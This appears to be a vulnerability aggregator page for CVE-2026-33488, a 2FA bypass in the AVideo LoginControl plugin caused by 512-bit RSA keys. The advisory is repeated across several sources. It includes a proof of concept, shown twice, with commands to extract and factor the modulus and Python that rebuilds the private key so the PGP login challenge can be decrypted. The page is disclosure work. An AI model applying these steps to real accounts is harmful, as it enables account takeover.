CVE-2026-33488
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
- Record
CVE-2026-33488- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-326
- Updated
- 2026-11-02
EUVDEUVD-2026-14449
7.4
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
- Record
EUVD-2026-14449- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6m5f-j7w2-w953
7.4
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
Summary
The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.
Details
The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:
// plugin/LoginControl/pgp/functions.php:26
$privateKey = RSA::createKey(512);
This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:
-
Key generation: When a user enables PGP 2FA, the UI calls
createKeys()which generates a 512-bit RSA keypair. The public key is saved to the database viasavePublicKey.json.php. -
Challenge creation (
LoginControl.php:520-531): During login, auniqid()token is generated, stored in the session, and encrypted with the user's stored public key:
// LoginControl.php:525-530
$_SESSION['user']['challenge']['text'] = uniqid();
$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);
- Challenge verification (
LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:
// LoginControl.php:534
if ($response == $_SESSION['user']['challenge']['text']) {
Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.
Unauthenticated endpoints (compounding issue):
generateKeys.json.php does not include configuration.php and has no authentication check:
// plugin/LoginControl/pgp/generateKeys.json.php:1-2
<?php
require_once '../../../plugin/LoginControl/pgp/functions.php';
Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.
PoC
Step 1: Obtain the target user's 512-bit public key
The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the users_externalOptions table under the key PGPKey.
Step 2: Extract the RSA modulus from the public key
# Extract the modulus from the PGP public key
echo "$PUBLIC_KEY_ARMOR" | gpg --import 2>/dev/null
gpg --list-keys --with-key-data | grep '^pub'
# Or use Python:
python3 -c "
from Crypto.PublicKey import RSA
# Parse the PGP key and extract RSA modulus N
# N will be a ~155-digit number (512 bits)
print(f'N = {key.n}')
"
Step 3: Factor the 512-bit modulus
# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)
cado-nfs.py <modulus_decimal>
# Or using msieve:
msieve -v <modulus_decimal>
# Output: p = <factor1>, q = <factor2>
Step 4: Reconstruct the private key and decrypt the 2FA challenge
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
# From factoring step
p = <factor1>
q = <factor2>
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
# Reconstruct private key
privkey = RSA.construct((n, e, d, p, q))
# Decrypt the PGP-encrypted challenge from the login page
# and submit the plaintext to verifyChallenge.json.php
**Step 5: Submit decrypted challenge to…
- Record
GHSA-6m5f-j7w2-w953- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-326
- Updated
- 2026-11-02
NVD
7.4
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
- Record
CVE-2026-33488- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-326
- Updated
- 2026-11-02
OSV
7.4
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch.
- Record
CVE-2026-33488- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-326
- Updated
- 2026-11-02
OSVGHSA-6m5f-j7w2-w953
7.4
AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin
Summary
The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.
Details
The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:
// plugin/LoginControl/pgp/functions.php:26
$privateKey = RSA::createKey(512);
This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:
-
Key generation: When a user enables PGP 2FA, the UI calls
createKeys()which generates a 512-bit RSA keypair. The public key is saved to the database viasavePublicKey.json.php. -
Challenge creation (
LoginControl.php:520-531): During login, auniqid()token is generated, stored in the session, and encrypted with the user's stored public key:
// LoginControl.php:525-530
$_SESSION['user']['challenge']['text'] = uniqid();
$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);
- Challenge verification (
LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:
// LoginControl.php:534
if ($response == $_SESSION['user']['challenge']['text']) {
Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.
Unauthenticated endpoints (compounding issue):
generateKeys.json.php does not include configuration.php and has no authentication check:
// plugin/LoginControl/pgp/generateKeys.json.php:1-2
<?php
require_once '../../../plugin/LoginControl/pgp/functions.php';
Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.
PoC
Step 1: Obtain the target user's 512-bit public key
The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the users_externalOptions table under the key PGPKey.
Step 2: Extract the RSA modulus from the public key
# Extract the modulus from the PGP public key
echo "$PUBLIC_KEY_ARMOR" | gpg --import 2>/dev/null
gpg --list-keys --with-key-data | grep '^pub'
# Or use Python:
python3 -c "
from Crypto.PublicKey import RSA
# Parse the PGP key and extract RSA modulus N
# N will be a ~155-digit number (512 bits)
print(f'N = {key.n}')
"
Step 3: Factor the 512-bit modulus
# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)
cado-nfs.py <modulus_decimal>
# Or using msieve:
msieve -v <modulus_decimal>
# Output: p = <factor1>, q = <factor2>
Step 4: Reconstruct the private key and decrypt the 2FA challenge
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
# From factoring step
p = <factor1>
q = <factor2>
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
# Reconstruct private key
privkey = RSA.construct((n, e, d, p, q))
# Decrypt the PGP-encrypted challenge from the login page
# and submit the plaintext to verifyChallenge.json.php
**Step 5: Submit decrypted challenge to…
- Record
GHSA-6m5f-j7w2-w953- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-326
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33488 is a high vulnerability (CVSS 7.4) in Wwbn Avideo, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 17th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-6m5f-j7w2-w953
github.com/WWBN/AVideo/commit/00d979d87f8182095c8150609153a43f834e351e
nvd.nist.gov/vuln/detail/CVE-2026-33488
github.com/advisories/GHSA-6m5f-j7w2-w953
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33488.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.